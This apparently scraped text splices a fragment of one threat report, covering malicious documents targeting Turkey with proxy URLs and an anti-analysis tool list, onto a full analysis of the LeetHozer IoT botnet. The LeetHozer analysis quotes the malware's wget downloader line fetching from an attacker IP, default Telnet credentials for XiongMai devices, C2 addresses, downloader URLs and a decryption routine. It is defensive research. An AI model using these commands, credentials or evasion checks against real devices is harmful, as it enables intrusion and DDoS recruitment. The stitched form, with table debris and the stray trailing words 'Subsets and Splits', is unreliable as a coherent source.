| 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 | IL-1801.doc | Turkey |
| aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 | kiyiemniyeti.doc | Turkey |
| 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 | TCELL-S1-M.doc | Tajikistan |
| c87799cce6d65158da97aa31a5160a0a6b6dd5a89dea312604cc66ed5e976cc9 | egm-1.doc | Turkey |
| 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 | Connectel.pk.doc | Pakistan |
| 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd | gßvenlik_yÜnergesi_.doc | Turkey |
| 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 | MIT.doc | Turkey |
| d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 | Gvenlik Ynergesi.doc | Turkey |
| af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 | Gvenlik Ynergesi.doc | Turkey |
| 5550615affe077ddf66954edf132824e4f1fe16b3228e087942b0cad0721a6af | NA | Turkey |
| 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c | Anadolu Güneydoğu Projesinde.doc | Turkey |
### Network Indicators
List of Proxy URLs
- hxxp://alessandrofoglino[.]com//db_template.php
- hxxp://www.easy-home-sales[.]co.za//db_template.php
- hxxp://www.almaarefut[.]com/admin/db_template.php
- hxxp://chinamall[.]co.za//db_template.php
- hxxp://amesoulcoaching[.]com//db_template.php
- hxxp://www.antigonisworld[.]com/wp-includes/db_template.php
- hxxps://anbinni.ba/wp-admin/db_template.php
- hxxp://arctistrade[.]de/wp/db_template.php
- hxxp://aianalytics[.]ie//db_template.php
- hxxp://www.gilforsenate[.]com//db_template.php
- hxxp://mgamule[.]co.za/oldweb/db_template.php
- hxxp://chrisdejager-attorneys[.]co.za//db_template.php
- hxxp://alfredocifuentes[.]com//db_template.php
- hxxp://alxcorp[.]com//db_template.php
- hxxps://www.aircafe24[.]com//db_template.php
- hxxp://agencereferencement.be/wp-admin/db_template.php
- hxxp://americanlegacies[.]org/webthed_ftw/db_template.php
- hxxps://aloefly[.]net//db_template.php
- hxxp://www.duotonedigital[.]co.za//db_template.php
- hxxp://architectsinc[.]net//db_template.php
- hxxp://www.tanati[.]co.za//db_template.php
- hxxp://emware[.]co.za//db_template.php
- hxxp://breastfeedingbra[.]co.za//db_template.php
- hxxp://alhidayahfoundation[.]co[.]uk/category/db_template.php
- hxxp://cashforyousa[.]co.za//db_template.php
### Appendix
**Security Tools Checked on the Machine**
- win32_remote
- win64_remote64
- ollydbg
- ProcessHacker
- tcpview
- autoruns
- autorunsc
- filemon
- procmon
- regmon
- procexp
- idaq
- idaq64
- ImmunityDebugger
- Wireshark
- dumpcap
- HookExplorer
- ImportREC
- PETools
- LordPE
- dumpcap
- SysInspector
- proc_analyzer
- sysAnalyzer
- sniff_hit
- windbg
- joeboxcontrol
- joeboxserver |
# The LeetHozer Botnet
**Alex Turing**
**April 27, 2020**
**Background**
On March 26, 2020, we captured a suspicious sample 11c1be44041a8e8ba05be9df336f9231. Although the samples have the word Mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new, which got our attention. The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol, had been totally redesigned. For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrating some new vulnerabilities, nothing dramatic. But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also, it is very likely a new branch from the Moobot group and is in active development. The author released a third version while we worked on this article, adding some new functions and changing Tor C2: vbrxmrhrjnnouvjf.onion:31337. So we think we should blog it and decided to name it LeetHozer because of the H0z3r string (/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;). The target devices currently observed are mainly XiongMai H.264 and H.265 devices.
**Propagation**
In 2017, security researchers disclosed the vulnerability.
2020-02-04 POC was released on GitHub.
2020-02-11 We saw a Moobot variant we called moobot_xor exploiting this vulnerability.
2020-03-26 LeetHozer began to exploit the vulnerability.
LeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then log in to the device with the default password to complete the infection process. The source IP currently exploiting the vulnerability is around 4.5k per day. LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.
**Recent LeetHozer DDoS Targets**
- 2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks
- 2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks
- 2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
- 2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd
- 2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC
- 2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited
- 2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited
- 2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou
- 2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
- 2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc.
- 2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
- 2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc.
- 2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
- 2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
- 2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC
- 2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
- 2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc.
- 2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
- 2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC
- 2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC
- 2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks
- 2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS
- 2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc.
- 2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp.
- 2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
- 2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd
- 2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc.
- 2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V
- 2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V
**Reverse Analysis**
At present, there are three versions of LeetHozer samples. We are going to focus on V2 as V3 is in development now. The difference between V1 and V2 is mainly that V2 supports more DDoS attack methods. We are going to take a quick look at the sample’s behavior, DDoS command format, and network communication below.
- MD5: 57212f7e253ecebd39ce5a8a6bd5d2df
- ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
- Packer: None
- Library: uclibc
- Version: V2
**Sample Behavior**
The function of LeetHozer is relatively simple. When it runs on an infected device, it operates the watchdog device, then writes the PID to a file named .1, and prints out `/bin/sh:./a.out:not found` string to the console (to confuse the user?). After that, it starts to scan the internet to find more devices with open port 9530 and tries to use the vulnerability to open the telnetd service on more victim devices. The sample also reports the infected device information to the reporter and establishes communication with C2, waiting for instructions to launch DDoS attacks. The sample uses a custom algorithm for encryption. The decryption algorithm is as follows:
```python
xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
```
After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.
- .1 /dev/watchdog
- /dev/misc/watchdog
- /bin/sh: ./a.out: not found
- w6gr2jqz3eag4ksi.onion
**Specific Implementation of the Bot Function**
1. Set watchdog to prevent device restart
2. Bot singleton through PID file
3. Scan, exploit, and report information
- Mirai's fast port scan technique has been borrowed, the scanned port is 9530
- Use the vulnerability to enable the telnetd service and try to log in with the following credentials:
- root:xc3511
- root:xmhdipc
- root:klv123
- root:123456
- root:jvbzd
- root:hi3518
- root:tsgoingon
- Report device information after successful login
4. Receive the C2 command and prepare for DDoS attack. The attack commands supported by different versions are different.
- Version V1: tcpraw
- Version V2: tcpraw; icmpecho; udpplain
However, the data format of the attack command is the same, and its structure is Header (6 bytes), Option1, Option2... in which the structure of Option is Type (2 bytes), Len (2 bytes), Subtype (2 bytes), Contents (Len bytes), Padding. The following takes an actual attack command as an example to explain the parsing process.
```
00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13
00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.
```
**Communication Protocols**
Two types of C2: Tor-C2 and IP-C2 have been used. The V2 version has both existed, but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.
1. Tor-C2, supported by V1, not used in V2: w6gr2jqz3eag4ksi.onion:31337
2. IP-C2, supported by V2: 37.49.226.171:31337
Tor-C2 has a pre-process to establish a connection through the Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.
**First Round of Interaction**
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.
**The meaning of some key fields**
- offset 0x00, length 2 bytes, content 0x8f49, field meaning source port
- offset 0x02, length 2 bytes, content 0x7a69, field meaning hardcode
- offset 0x04, length 4 bytes, content 0x00004818, field meaning hardcode
- offset 0x0e, length 2 bytes, content 0x0001, field meaning first round
- offset 0x14, length 4 bytes, content 0x0051cc, field meaning checksum
**Second Round of Interaction**
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.
**The meaning of some key fields**
- offset 0x00, length 8 bytes, content 0x7a697a69,0x000070f1, field meaning C2 reply in the round 1
- offset 0x08, length 4 bytes, content 0x000070f2, field meaning hardcode
- offset 0x0e, length 2 bytes, content 0x0002, field meaning second round
- offset 0x14, length 4 bytes, content 0x00d665, field meaning checksum
At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.
- Instruction code: 0x00 indicates heartbeat
- Instruction code: 0x01 indicates reporting Bot group information
- Instruction code: Not 0x00 0x01 indicates DDoS attack.
**IoC List**
C2
- vbrxmrhrjnnouvjf.onion:31337 #v3
- 37.49.226.171:31337 #v2
- w6gr2jqz3eag4ksi.onion:31337 #v1
**MD5**
- 027d7e1cda6824bc076d0a586ea139f5
- 05a485caf78eca390439b7c893c0354b
- 068083b9d0820f3ac9cec10d03705649
- 08e1b88305ad138a4509fb6b72ae3d31
- 0a56855a6d56efe409c2b7a4c6113bcf
- 0dee2c063085d0c5466137a3c32479f2
- 0eecbfd368f821901f9ba758e267557a
- 110ec534e1c60fc47f37739f03c1bb6a
- 1111c252ee54c4a6614498e66cefb4e7
- 11c1be44041a8e8ba05be9df336f9231
- 121960341ab64a7e7686373dedfbc058
- 128a53e447266e4d0e12adb7c0b43159
- 129f41468303728b029def8dbc910e35
- 177de1bf8f90cbcea50fd19c1e3e8cfe
- 17b5d683d7b177760c8a2ffd749650b0
- 1aba422e02f0fbff5189399e01e272d4
- 21e7898b4b585b825d120c3b0fed8b8a
- 242d0c9386f61c3ac9ddcdbcda724f3e
- 25588d12bdbb4e4b1d946f2d5c89abf3
- 273afac3320ddceb0e18671a3e878fa3
- 2f066945cee892cc857d477d97d42d7c
- 30c60cfb51896e5d06012ec6cf15c588
- 3525d090ab1ab1739507ae1777a70b95
- 37d9fd56ce685717f1180615f555754e
- 3d24b9cafda55909fbfde16a5222b4d8
- 3f88cbbcaa3e0b410dcdb18ddb68d4c2
- 4229c19e6e5c2dc8560fae9b35841957
- 45a30d656b4767bce0058f80b0895a95
- 4e22d0079c18043b6d9037fb842d94ee
- 58a13abe621acc532b1b6d26eb121c61
- 5ed891c31bc86689cb93488f5746404a
- 5fafdc3e3ed7c38a204234e0146e5663
- 5fec7347f2a9a2ae798505135a61c47f
- 60bb6bf05c3e7f6f13f2374511963f79
- 669e5f3513ebfa9c30766da294036d6e
- 6c883cf42d63a672815e38223d241662
- 6e7e638d27971e060aaee1b9ae43fe4a
- 76d0285f95fbee81cff81948d5a98db0
- 7b08a0569506174463c83f50f8d65a8f
- 84d39f46c4694e176d8734dd53a07c2c
- 86072e88f28ebf357443300656c0349a
- 88a39f5bb8e271f3d080a9aaa6c4a44a
- 8dc36df1617d9c2be576fa02a5c24803
- 8e7d774441229809c9cfa8d8705b5258
- 90a63857f31714ff2c285eb6ca9af3d1
- 919308996155d7a9ec2f7a25a64eb759
- 91fe795b69880972e30929632d359b52
- 9a63001fe8f2d2d642bc2c8310a429e0
- 9c95be6e1e9927cc0171fc344fcceb71
- a42550641cc709168c145b5739fca769
- a579d46a571e123a9d65dcfe21910c87
- a76fdf5b2f817dc1f2e3c241d552b9ae
- aa469ab3eb6789104bda30c910f063f5
- b0276d96976dd6b805a02141e78df927
- b35733792393a08408773a141a94f668
**Downloader**
- http://185.172.110.224/ab/i586
- http://185.172.110.224/ab/i686
- http://185.172.110.224/uc/i686
- http://185.225.19.57/aq/rxrg
- http://188.214.30.178/arm6
- http://188.214.30.178/arm7
- http://188.214.30.178/bot.arm
- http://188.214.30.178/bot.arm7
- http://188.214.30.178/bot.mips
- http://188.214.30.178/bot.mpsl
- http://188.214.30.178/bot.x86
- http://188.214.30.178/tn/arm
- http://188.214.30.178/tn/arm7
- http://188.214.30.178/tn/mips
- http://188.214.30.178/tn/mpsl
- http://190.115.18.144/arm6
- http://190.115.18.144/arm7
- http://190.115.18.144/bot.arm
- http://190.115.18.144/bot.arm7
- http://190.115.18.144/bot.mips
- http://190.115.18.144/bot.mpsl
- http://190.115.18.144/bot.x86
- http://190.115.18.144/tn/arm
- http://190.115.18.144/tn/arm7
- http://190.115.18.144/tn/mips
- http://190.115.18.144/tn/mpsl
- http://37.49.226.171/bins/mirai.arm
- http://37.49.226.171/bins/mirai.arm7
- http://37.49.226.171/bins/mirai.mpsl
- http://37.49.226.171/bins/mirai.sh4
- http://37.49.226.171/bins/mirai.x86
- http://37.49.226.171/mirai.arm
- http://37.49.226.171/mirai.arm7
- http://37.49.226.171/mirai.mpsl
- http://37.49.226.171/mirai.sh4
- http://37.49.226.171/mirai.x86
- http://64.225.64.58/arm
- http://64.225.64.58/arm5
- http://64.225.64.58/arm6
- http://64.225.64.58/arm7
- http://64.225.64.58/bot.arm
- http://64.225.64.58/bot.arm7
- http://64.225.64.58/bot.mips
- http://64.225.64.58/bot.mpsl
- http://64.225.64.58/bot.x86
- http://64.225.64.58/i586
- http://64.225.64.58/i686
- http://64.225.64.58/m68k
- http://64.225.64.58/mips
- http://64.225.64.58/mpsl
- http://64.225.64.58/sh4
- http://64.225.64.58/spc
- http://64.225.64.58/x86
**IP**
- 185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd
- 185.225.19.57 Romania ASN39798 MivoCloud_SRL
- 37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited
- 64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC
- 188.214.30.178 Romania ASN51177 THC_Projects_SRL
- 190.115.18.144 Russia ASN262254 DANCOM_LTD |
Subsets and Splits